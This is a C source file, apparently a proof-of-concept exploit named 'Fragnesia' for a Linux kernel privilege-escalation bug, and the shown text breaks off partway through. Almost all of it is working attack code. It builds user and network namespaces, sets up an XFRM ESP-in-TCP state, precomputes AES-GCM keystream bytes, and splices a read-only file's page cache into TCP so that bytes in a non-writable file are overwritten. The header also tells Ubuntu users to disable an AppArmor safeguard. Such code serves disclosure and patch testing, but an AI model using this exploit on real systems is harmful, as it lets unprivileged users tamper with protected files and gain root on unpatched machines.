cve-2026-46300.c (39647B)
1 // Fragnesia: universal Linux LPE 2 // Ubuntu users: AppArmor interferes with using namespaces, you need to use 3 // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. 4 // 5 // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. 6 // 7 // Found with V12 by William Bowling on the V12 team 8 // V12 - https://v12.sh - dangerously powerful agentic security 9 10 // Patch: https://lists.openwall.net/netdev/2026/05/13/79 11 12 /* 13 * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. 14 * 15 * It only targets an already prepared disposable regular file under /tmp or 16 * /var/tmp. The file must be readable by the caller and should be non-writable 17 * to demonstrate the permission boundary. 18 * 19 * Build: 20 * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace 21 * 22 * Run: 23 * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 24 * 25 * Exit codes: 26 * 1: vulnerable behavior verified 27 * 0: fixed/no mutation observed 28 * 2: local setup or argument error 29 * 4: namespace/XFRM gate closed 30 */ 31 32 #define _GNU_SOURCE 33 34 #include <arpa/inet.h> 35 #include <errno.h> 36 #include <fcntl.h> 37 #include <grp.h> 38 39 #include "setup.h" 40 #if __has_include(<linux/if_alg.h>) 41 #include <linux/if_alg.h> 42 #else 43 #include <linux/types.h> 44 struct sockaddr_alg { 45 __u16 salg_family; 46 __u8 salg_type[14]; 47 __u32 salg_feat; 48 __u32 salg_mask; 49 __u8 salg_name[64]; 50 }; 51 #endif 52 #include <limits.h> 53 #include <linux/netlink.h> 54 #include <linux/udp.h> 55 #include <linux/xfrm.h> 56 #include <net/if.h> 57 #include <netinet/in.h> 58 #include <netinet/tcp.h> 59 #include <sched.h> 60 #include <signal.h> 61 #include <stdbool.h> 62 #include <stdint.h> 63 #include <stdio.h> 64 #include <stdlib.h> 65 #include <string.h> 66 #include <sys/ioctl.h> 67 #include <sys/prctl.h> 68 #include <sys/socket.h> 69 #include <sys/stat.h> 70 #include <sys/syscall.h> 71 #include <sys/types.h> 72 #include <sys/wait.h> 73 #include <unistd.h> 74 75 #ifndef TCP_ULP 76 #define TCP_ULP 31 77 #endif 78 79 #ifndef NETLINK_XFRM 80 #define NETLINK_XFRM 6 81 #endif 82 83 #ifndef TCP_ENCAP_ESPINTCP 84 #define TCP_ENCAP_ESPINTCP 7 85 #endif 86 87 #ifndef AF_ALG 88 #define AF_ALG 38 89 #endif 90 91 #ifndef SOL_ALG 92 #define SOL_ALG 279 93 #endif 94 95 #ifndef ALG_SET_KEY 96 #define ALG_SET_KEY 1 97 #endif 98 99 #ifndef ALG_SET_OP 100 #define ALG_SET_OP 3 101 #endif 102 103 #ifndef ALG_OP_ENCRYPT 104 #define ALG_OP_ENCRYPT 1 105 #endif 106 107 #ifndef NLA_ALIGNTO 108 #define NLA_ALIGNTO 4 109 #endif 110 111 #ifndef NLA_ALIGN 112 #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) 113 #endif 114 115 #ifndef NLA_HDRLEN 116 #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) 117 #endif 118 119 #define FRAG_LEN 4096 120 #define ESP_GCM_ICV_LEN 16 121 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) 122 #define TCP_PORT 5556 123 124 #define PAYLOAD_LEN 192 125 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ 126 #define FRAME_BAR_W 50 127 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ 128 129 #define RECEIVER_PRE_ULP_US 30000 130 #define SENDER_PRE_SPLICE_US 1000 131 #define RECEIVER_POST_ULP_US 30000 132 133 static const unsigned char xfrm_aead_key[20] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 134 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04}; 135 136 static unsigned char active_esp_gcm_iv[8] = {0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc}; 137 static uint32_t active_esp_seq = 1; 138 static const char *target_file; 139 static char target_file_buf[PATH_MAX]; 140 static loff_t target_splice_off; 141 142 static uint16_t stream0_nonce[256]; 143 static bool stream0_have[256]; 144 145 static void die(const char *what) { 146 fprintf(stderr, "%s: %s\n", what, strerror(errno)); 147 exit(2); 148 } 149 150 static int drop_page_cache(void) { 151 int fd = open("/proc/sys/vm/drop_caches", O_WRONLY); 152 if (fd < 0) return -1; 153 int r = (write(fd, "1", 1) == 1) ? 0 : -1; 154 close(fd); 155 return r; 156 } 157 158 static void gate_fail(const char *what) { 159 fprintf(stderr, "namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); 160 exit(4); 161 } 162 163 static void store_be32(unsigned char *p, uint32_t v) { 164 p[0] = (unsigned char)(v >> 24); 165 p[1] = (unsigned char)(v >> 16); 166 p[2] = (unsigned char)(v >> 8); 167 p[3] = (unsigned char)v; 168 } 169 170 /* ANSI colours */ 171 #define C_RESET "\033[0m" 172 #define C_BOLD "\033[1m" 173 #define C_DIM "\033[2m" 174 #define C_RED "\033[31m" 175 #define C_GREEN "\033[32m" 176 #define C_YELLOW "\033[33m" 177 #define C_CYAN "\033[36m" 178 #define C_WHITE "\033[97m" 179 #define C_BRED "\033[1;31m" 180 #define C_BGRN "\033[1;32m" 181 #define C_BYLW "\033[1;33m" 182 #define C_BCYN "\033[1;36m" 183 #define C_BWHT "\033[1;97m" 184 185 static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { 186 size_t i; 187 188 fprintf(stderr, C_DIM "%s=" C_RESET C_CYAN, label); 189 for (i = 0; i < len; i++) fprintf(stderr, "%02x", buf[i]); 190 fprintf(stderr, C_RESET "\n"); 191 } 192 193 /* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */ 194 static void print_hex_row(const char *path, uint64_t highlight_off, const char *before_label, unsigned char before_val, 195 const char *after_label, unsigned char after_val) { 196 uint64_t row_start = highlight_off & ~(uint64_t)15; 197 unsigned char row[16]; 198 ssize_t got; 199 size_t col; 200 int fd; 201 202 fd = open(path, O_RDONLY | O_CLOEXEC); 203 if (fd < 0) return; 204 got = pread(fd, row, sizeof(row), (off_t)row_start); 205 close(fd); 206 if (got <= 0) return; 207 208 /* Hex section */ 209 fprintf(stderr, C_DIM " %016llx " C_RESET, (unsigned long long)row_start); 210 for (col = 0; col < 16; col++) { 211 if (col == 8) fprintf(stderr, " "); 212 if ((size_t)got > col) { 213 if (row_start + col == highlight_off) 214 fprintf(stderr, C_BRED "[%02x]" C_RESET, row[col]); 215 else 216 fprintf(stderr, C_DIM "%02x " C_RESET, row[col]); 217 } else { 218 fprintf(stderr, C_DIM " " C_RESET); 219 } 220 } 221 222 /* ASCII section */ 223 fprintf(stderr, " " C_DIM "|" C_RESET); 224 for (col = 0; col < (size_t)got; col++) { 225 unsigned char c = row[col]; 226 if (row_start + col == highlight_off) 227 fprintf(stderr, C_BRED "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); 228 else 229 fprintf(stderr, C_DIM "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); 230 } 231 fprintf(stderr, C_DIM "|" C_RESET "\n"); 232 233 /* Annotation line */ 234 size_t col_off = (size_t)(highlight_off - row_start); 235 size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1; 236 fprintf(stderr, 237 "%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET 238 ":" C_BGRN "%02x" C_RESET "\n", 239 (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, 240 after_val); 241 } 242 243 static int open_afalg_aes_ecb(void) { 244 struct sockaddr_alg sa = { 245 .salg_family = AF_ALG, 246 }; 247 int fd; 248 249 fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); 250 if (fd < 0) die("socket(AF_ALG)"); 251 252 strcpy((char *)sa.salg_type, "skcipher"); 253 strcpy((char *)sa.salg_name, "ecb(aes)"); 254 if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind AF_ALG ecb(aes)"); 255 if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) die("setsockopt AF_ALG key"); 256 257 return fd; 258 } 259 260 static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], unsigned char out[16]) { 261 char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {}; 262 struct iovec iov = { 263 .iov_base = (void *)in, 264 .iov_len = 16, 265 }; 266 struct msghdr msg = { 267 .msg_iov = &iov, 268 .msg_iovlen = 1, 269 .msg_control = cbuf, 270 .msg_controllen = sizeof(cbuf), 271 }; 272 struct cmsghdr *cmsg; 273 uint32_t op = ALG_OP_ENCRYPT; 274 ssize_t ret; 275 int op_fd; 276 277 op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC); 278 if (op_fd < 0) die("accept AF_ALG"); 279 280 cmsg = CMSG_FIRSTHDR(&msg); 281 cmsg->cmsg_level = SOL_ALG; 282 cmsg->cmsg_type = ALG_SET_OP; 283 cmsg->cmsg_len = CMSG_LEN(sizeof(op)); 284 memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); 285 286 ret = sendmsg(op_fd, &msg, 0); 287 if (ret != 16) die("sendmsg AF_ALG block"); 288 ret = read(op_fd, out, 16); 289 if (ret != 16) die("read AF_ALG block"); 290 291 close(op_fd); 292 } 293 294 static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { 295 unsigned char counter_block[16], stream[16]; 296 297 memcpy(counter_block, &xfrm_aead_key[16], 4); 298 memcpy(counter_block + 4, iv, 8); 299 store_be32(counter_block + 12, 2); 300 afalg_aes_encrypt_block(alg_fd, counter_block, stream); 301 return stream[0]; 302 } 303 304 static void build_stream0_table(void) { 305 unsigned char iv[8] = {0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc}; 306 unsigned int count = 0, nonce; 307 int alg_fd; 308 309 alg_fd = open_afalg_aes_ecb(); 310 for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) { 311 unsigned char b; 312 313 store_be32(iv + 4, nonce); 314 b = aes_gcm_stream0_byte(alg_fd, iv); 315 if (stream0_have[b]) continue; 316 stream0_have[b] = true; 317 stream0_nonce[b] = (uint16_t)nonce; 318 count++; 319 } 320 close(alg_fd); 321 322 if (count != 256) { 323 fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count); 324 exit(2); 325 } 326 fprintf(stderr, "stream0_table_entries=256\n"); 327 } 328 329 static void choose_iv_for_stream0(unsigned char need_stream) { 330 uint16_t nonce = stream0_nonce[need_stream]; 331 332 memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv)); 333 store_be32(active_esp_gcm_iv + 4, nonce); 334 fprintf(stderr, "byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream); 335 print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); 336 } 337 338 static uint64_t parse_u64_arg(const char *s, const char *name) { 339 char *end = NULL; 340 unsigned long long v; 341 342 if (s[0] == '-') { 343 fprintf(stderr, "invalid %s: %s\n", name, s); 344 exit(2); 345 } 346 errno = 0; 347 v = strtoull(s, &end, 0); 348 if (errno || !end || *end != '\0') { 349 fprintf(stderr, "invalid %s: %s\n", name, s); 350 exit(2); 351 } 352 return (uint64_t)v; 353 } 354 355 static int hex_nibble(int c) { 356 if (c >= '0' && c <= '9') return c - '0'; 357 if (c >= 'a' && c <= 'f') return 10 + c - 'a'; 358 if (c >= 'A' && c <= 'F') return 10 + c - 'A'; 359 return -1; 360 } 361 362 static bool is_hex_separator(int c) { 363 return c == ':' || c == ',' || c == '-' || c == '_' || c == ' ' || c == '\t' || c == '\n' || c == '\r'; 364 } 365 366 static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out) { 367 size_t cap = strlen(s) / 2 + 1, len = 0; 368 unsigned char *buf; 369 int hi = -1, v; 370 371 buf = malloc(cap); 372 if (!buf) die("malloc desired bytes"); 373 374 for (; *s; s++) { 375 if (is_hex_separator((unsigned char)*s)) continue; 376 if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) { 377 s++; 378 continue; 379 } 380 381 v = hex_nibble((unsigned char)*s); 382 if (v < 0) { 383 fprintf(stderr, "invalid hex byte string near '%c'\n", *s); 384 exit(2); 385 } 386 if (hi < 0) { 387 hi = v; 388 continue; 389 } 390 buf[len++] = (unsigned char)((hi << 4) | v); 391 hi = -1; 392 } 393 394 if (hi >= 0) { 395 fprintf(stderr, "hex byte string has an odd number of nibbles\n"); 396 exit(2); 397 } 398 if (len == 0) { 399 fprintf(stderr, "hex byte string is empty\n"); 400 exit(2); 401 } 402 403 *len_out = len; 404 return buf; 405 } 406 407 static unsigned char read_byte_at(const char *path, uint64_t off) { 408 unsigned char b; 409 ssize_t ret; 410 int fd; 411 412 fd = open(path, O_RDONLY | O_CLOEXEC); 413 if (fd < 0) die("open read byte"); 414 ret = pread(fd, &b, 1, (off_t)off); 415 if (ret < 0) die("pread byte"); 416 if (ret != 1) { 417 fprintf(stderr, "short pread at offset=%llu\n", (unsigned long long)off); 418 exit(2); 419 } 420 close(fd); 421 return b; 422 } 423 424 static void print_file_sample(const char *label, uint64_t off, size_t len) { 425 unsigned char buf[32]; 426 ssize_t ret; 427 int fd; 428 429 if (len > sizeof(buf)) len = sizeof(buf); 430 fd = open(target_file, O_RDONLY | O_CLOEXEC); 431 if (fd < 0) die("open sample"); 432 ret = pread(fd, buf, len, (off_t)off); 433 if (ret < 0) die("pread sample"); 434 close(fd); 435 if ((size_t)ret != len) { 436 fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n", (unsigned long long)off, len, ret); 437 exit(2); 438 } 439 print_hex_bytes(label, buf, len); 440 } 441 442 static uint64_t use_existing_target(const char *path) { 443 struct stat lst, st; 444 445 if (lstat(path, &lst) < 0) die("lstat target"); 446 if (!S_ISREG(lst.st_mode)) { 447 fprintf(stderr, "target is not a regular file\n"); 448 exit(2); 449 } 450 if (stat(path, &st) < 0) die("stat target"); 451 if (!S_ISREG(st.st_mode)) { 452 fprintf(stderr, "target is not a regular file\n"); 453 exit(2); 454 } 455 if (st.st_size < FRAG_LEN) { 456 fprintf(stderr, "target is too small: size=%lld need>=%d\n", (long long)st.st_size, FRAG_LEN); 457 exit(2); 458 } 459 if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { 460 fprintf(stderr, "target path is too long\n"); 461 exit(2); 462 } 463 464 target_file = target_file_buf; 465 return (uint64_t)st.st_size; 466 } 467 468 static void verify_write_denied(const char *label) { 469 int fd; 470 471 errno = 0; 472 fd = open(target_file, O_WRONLY | O_CLOEXEC); 473 if (fd >= 0) { 474 close(fd); 475 fprintf(stderr, "namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); 476 exit(4); 477 } 478 479 fprintf(stderr, "%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); 480 } 481 482 static int write_all_file_status(const char *path, const char *buf) { 483 size_t len = strlen(buf); 484 int fd, saved_errno; 485 486 fd = open(path, O_WRONLY | O_CLOEXEC); 487 if (fd < 0) return -1; 488 if (write(fd, buf, len) != (ssize_t)len) { 489 saved_errno = errno; 490 close(fd); 491 errno = saved_errno; 492 return -1; 493 } 494 close(fd); 495 return 0; 496 } 497 498 static void sync_write_byte(int fd) { 499 char c = 'M'; 500 501 if (write(fd, &c, 1) != 1) die("sync write"); 502 close(fd); 503 } 504 505 static void sync_read_byte(int fd) { 506 char c; 507 508 if (read(fd, &c, 1) != 1) die("sync read"); 509 close(fd); 510 } 511 512 static void parent_map_write_or_exit(pid_t child, const char *name, const char *data) { 513 char path[128]; 514 515 snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name); 516 if (write_all_file_status(path, data) < 0) { 517 fprintf(stderr, "namespace_gate_failed: %s errno=%d (%s)\n", path, errno, strerror(errno)); 518 kill(child, SIGKILL); 519 waitpid(child, NULL, 0); 520 exit(4); 521 } 522 } 523 524 static void enter_mapped_userns(void) { 525 uid_t outer_uid = getuid(); 526 gid_t outer_gid = getgid(); 527 int ready_pipe[2], mapped_pipe[2], status; 528 char map[128]; 529 pid_t child; 530 531 if (pipe(ready_pipe) < 0) die("pipe ready"); 532 if (pipe(mapped_pipe) < 0) die("pipe mapped"); 533 534 child = fork(); 535 if (child < 0) die("fork userns mapper"); 536 537 if (child > 0) { 538 close(ready_pipe[1]); 539 close(mapped_pipe[0]); 540 541 sync_read_byte(ready_pipe[0]); 542 543 snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); 544 parent_map_write_or_exit(child, "uid_map", map); 545 parent_map_write_or_exit(child, "setgroups", "deny\n"); 546 snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); 547 parent_map_write_or_exit(child, "gid_map", map); 548 549 sync_write_byte(mapped_pipe[1]); 550 551 if (waitpid(child, &status, 0) < 0) die("wait userns child"); 552 if (WIFEXITED(status)) exit(WEXITSTATUS(status)); 553 if (WIFSIGNALED(status)) { 554 fprintf(stderr, "userns child killed by signal %d\n", WTERMSIG(status)); 555 exit(2); 556 } 557 exit(2); 558 } 559 560 close(ready_pipe[0]); 561 close(mapped_pipe[1]); 562 563 if (unshare(CLONE_NEWUSER) < 0) gate_fail("unshare(CLONE_NEWUSER)"); 564 565 sync_write_byte(ready_pipe[1]); 566 sync_read_byte(mapped_pipe[0]); 567 568 if (setresgid(0, 0, 0) < 0) gate_fail("setresgid 0 in userns"); 569 if (setresuid(0, 0, 0) < 0) gate_fail("setresuid 0 in userns"); 570 571 fprintf(stderr, "userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n", outer_uid, outer_gid, getuid(), 572 getgid()); 573 } 574 575 static void bring_loopback_up(void) { 576 struct ifreq ifr; 577 int fd; 578 579 fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); 580 if (fd < 0) gate_fail("socket(AF_INET)"); 581 582 memset(&ifr, 0, sizeof(ifr)); 583 strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); 584 if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) gate_fail("SIOCGIFFLAGS lo"); 585 ifr.ifr_flags |= IFF_UP; 586 if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) gate_fail("SIOCSIFFLAGS lo up"); 587 close(fd); 588 589 fprintf(stderr, "loopback_up=1\n"); 590 } 591 592 static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, unsigned short type, const void *data, size_t len) { 593 size_t off = NLMSG_ALIGN(nlh->nlmsg_len); 594 struct nlattr *nla; 595 596 if (off + NLA_HDRLEN + len > maxlen) { 597 fprintf(stderr, "netlink message too small\n"); 598 exit(2); 599 } 600 601 nla = (struct nlattr *)((char *)nlh + off); 602 nla->nla_type = type; 603 nla->nla_len = NLA_HDRLEN + len; 604 memcpy((char *)nla + NLA_HDRLEN, data, len); 605 nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); 606 } 607 608 static int nl_ack_errno(char *buf, ssize_t len) { 609 struct nlmsghdr *nlh; 610 struct nlmsgerr *err; 611 612 for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { 613 if (nlh->nlmsg_type != NLMSG_ERROR) continue; 614 err = (struct nlmsgerr *)NLMSG_DATA(nlh); 615 if (err->error == 0) return 0; 616 errno = -err->error; 617 return -1; 618 } 619 620 errno = EPROTO; 621 return -1; 622 } 623 624 static void add_xfrm_espintcp_state(void) { 625 char reqbuf[4096], resp[4096]; 626 char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; 627 struct sockaddr_nl sa = { 628 .nl_family = AF_NETLINK, 629 }; 630 struct xfrm_usersa_info *xs; 631 struct xfrm_algo_aead *aead; 632 struct xfrm_encap_tmpl encap; 633 struct nlmsghdr *nlh; 634 ssize_t ret; 635 int fd; 636 637 memset(reqbuf, 0, sizeof(reqbuf)); 638 nlh = (struct nlmsghdr *)reqbuf; 639 nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); 640 nlh->nlmsg_type = XFRM_MSG_NEWSA; 641 nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; 642 nlh->nlmsg_seq = 1; 643 644 xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); 645 if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); 646 if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); 647 xs->id.spi = htonl(0x100); 648 xs->id.proto = IPPROTO_ESP; 649 xs->family = AF_INET6; 650 xs->mode = XFRM_MODE_TRANSPORT; 651 xs->reqid = 1; 652 xs->lft.soft_byte_limit = XFRM_INF; 653 xs->lft.hard_byte_limit = XFRM_INF; 654 xs->lft.soft_packet_limit = XFRM_INF; 655 xs->lft.hard_packet_limit = XFRM_INF; 656 657 memset(aeadbuf, 0, sizeof(aeadbuf)); 658 aead = (struct xfrm_algo_aead *)aeadbuf; 659 snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); 660 aead->alg_key_len = sizeof(xfrm_aead_key) * 8; 661 aead->alg_icv_len = 128; 662 memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); 663 add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); 664 665 memset(&encap, 0, sizeof(encap)); 666 encap.encap_type = TCP_ENCAP_ESPINTCP; 667 encap.encap_sport = htons(TCP_PORT); 668 encap.encap_dport = htons(TCP_PORT); 669 add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); 670 671 fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); 672 if (fd < 0) gate_fail("socket(NETLINK_XFRM)"); 673 if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) gate_fail("bind(NETLINK_XFRM)"); 674 675 memset(&sa, 0, sizeof(sa)); 676 sa.nl_family = AF_NETLINK; 677 ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); 678 if (ret < 0) gate_fail("sendto XFRM_MSG_NEWSA"); 679 if (ret != (ssize_t)nlh->nlmsg_len) { 680 errno = EIO; 681 gate_fail("short sendto XFRM_MSG_NEWSA"); 682 } 683 684 ret = recv(fd, resp, sizeof(resp), 0); 685 if (ret < 0) gate_fail("recv XFRM ack"); 686 if (nl_ack_errno(resp, ret) < 0) gate_fail("XFRM_MSG_NEWSA ack"); 687 close(fd); 688 689 fprintf(stderr, "xfrm_espintcp_state_add=1\n"); 690 } 691 692 static void setup_user_netns_xfrm(void) { 693 if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE"); 694 enter_mapped_userns(); 695 696 if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)"); 697 698 fprintf(stderr, "netns_setup=1\n"); 699 bring_loopback_up(); 700 add_xfrm_espintcp_state(); 701 fprintf(stderr, "namespace_setup_complete=1\n"); 702 } 703 704 static void write_ready(int fd) { 705 char c = 'R'; 706 707 if (write(fd, &c, 1) != 1) die("ready write"); 708 close(fd); 709 } 710 711 static void wait_ready(int fd) { 712 char c; 713 714 if (read(fd, &c, 1) != 1) die("ready read"); 715 close(fd); 716 } 717 718 static void receiver(int ready_write_fd) { 719 struct sockaddr_in6 addr = { 720 .sin6_family = AF_INET6, 721 .sin6_addr = IN6ADDR_LOOPBACK_INIT, 722 .sin6_port = htons(TCP_PORT), 723 .sin6_flowinfo = 0, 724 .sin6_scope_id = 0, 725 }; 726 char ulp[] = "espintcp"; 727 int fd, cfd, one = 1; 728 729 fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); 730 if (fd < 0) die("receiver socket"); 731 if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr"); 732 if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind"); 733 if (listen(fd, 1) < 0) die("receiver listen"); 734 735 write_ready(ready_write_fd); 736 737 cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC); 738 if (cfd < 0) die("receiver accept"); 739 740 usleep(RECEIVER_PRE_ULP_US); 741 if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp"); 742 743 fprintf(stderr, "receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid()); 744 usleep(RECEIVER_POST_ULP_US); 745 close(cfd); 746 close(fd); 747 _exit(0); 748 } 749 750 static void sender(int ready_read_fd) { 751 struct sockaddr_in6 dst = { 752 .sin6_family = AF_INET6, 753 .sin6_addr = IN6ADDR_LOOPBACK_INIT, 754 .sin6_port = htons(TCP_PORT), 755 .sin6_flowinfo = 0, 756 .sin6_scope_id = 0, 757 }; 758 struct { 759 __be16 len; 760 unsigned char esp[16]; 761 } prefix; 762 loff_t off, start_off; 763 int fd, sock, p[2], one = 1; 764 ssize_t ret, sent; 765 766 wait_ready(ready_read_fd); 767 768 memset(&prefix, 0xcc, sizeof(prefix)); 769 prefix.len = htons(sizeof(prefix) + FRAG_LEN); 770 prefix.esp[0] = 0x00; 771 prefix.esp[1] = 0x00; 772 prefix.esp[2] = 0x01; 773 prefix.esp[3] = 0x00; 774 store_be32(&prefix.esp[4], active_esp_seq); 775 memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); 776 777 fd = open(target_file, O_RDONLY | O_CLOEXEC); 778 if (fd < 0) die("sender open target"); 779 sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); 780 if (sock < 0) die("sender socket"); 781 if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY"); 782 if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect"); 783 784 sent = send(sock, &prefix, sizeof(prefix), 0); 785 if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix"); 786 787 usleep(SENDER_PRE_SPLICE_US); 788 789 if (pipe(p) < 0) die("sender pipe"); 790 off = target_splice_off; 791 start_off = off; 792 ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0); 793 if (ret != FRAG_LEN) die("sender splice file to pipe"); 794 795 ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0); 796 if (ret < 0) die("sender splice pipe to tcp"); 797 798 fprintf(stderr, "sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n", 799 getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off); 800 801 close(p[0]); 802 close(p[1]); 803 close(sock); 804 close(fd); 805 _exit(ret == FRAG_LEN ? 0 : 3); 806 } 807 808 static int run_trigger_pair(void) { 809 int pipefd[2], st_rx, st_tx; 810 pid_t rx, tx; 811 812 if (pipe(pipefd) < 0) die("pipe"); 813 814 rx = fork(); 815 if (rx < 0) die("fork receiver"); 816 if (rx == 0) { 817 close(pipefd[0]); 818 receiver(pipefd[1]); 819 } 820 821 tx = fork(); 822 if (tx < 0) die("fork sender"); 823 if (tx == 0) { 824 close(pipefd[1]); 825 sender(pipefd[0]); 826 } 827 828 close(pipefd[0]); 829 close(pipefd[1]); 830 if (waitpid(tx, &st_tx, 0) < 0) die("wait sender"); 831 if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver"); 832 833 fprintf(stderr, "sender_status=%d receiver_status=%d\n", st_tx, st_rx); 834 if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1; 835 return 0; 836 } 837 838 static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) { 839 uint64_t n = (uint64_t)byte_len; 840 841 if (n == 0) { 842 fprintf(stderr, "byte range is empty\n"); 843 exit(2); 844 } 845 if (n - 1 > UINT64_MAX - byte_off) { 846 fprintf(stderr, "byte range overflows uint64_t\n"); 847 exit(2); 848 } 849 return byte_off + n - 1; 850 } 851 852 static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, 853 size_t idx_current, size_t changed, size_t skipped, int first_draw) { 854 size_t done = changed + skipped; 855 size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; 856 size_t row, col, bi, i; 857 858 /* Save cursor, jump to row 1, buffer the whole frame into one write. */ 859 static char frame_buf[8192]; 860 setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); 861 if (!first_draw) fprintf(stderr, "\033[s\033[?25l\033[1;1H"); 862 863 /* ── header ─────────────────────────────────────────────────── */ 864 fprintf(stderr, 865 "\r\033[2K" C_BCYN "[*]" C_RESET 866 " smashing %zu bytes into read-only page cache" 867 " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", 868 desired_len, 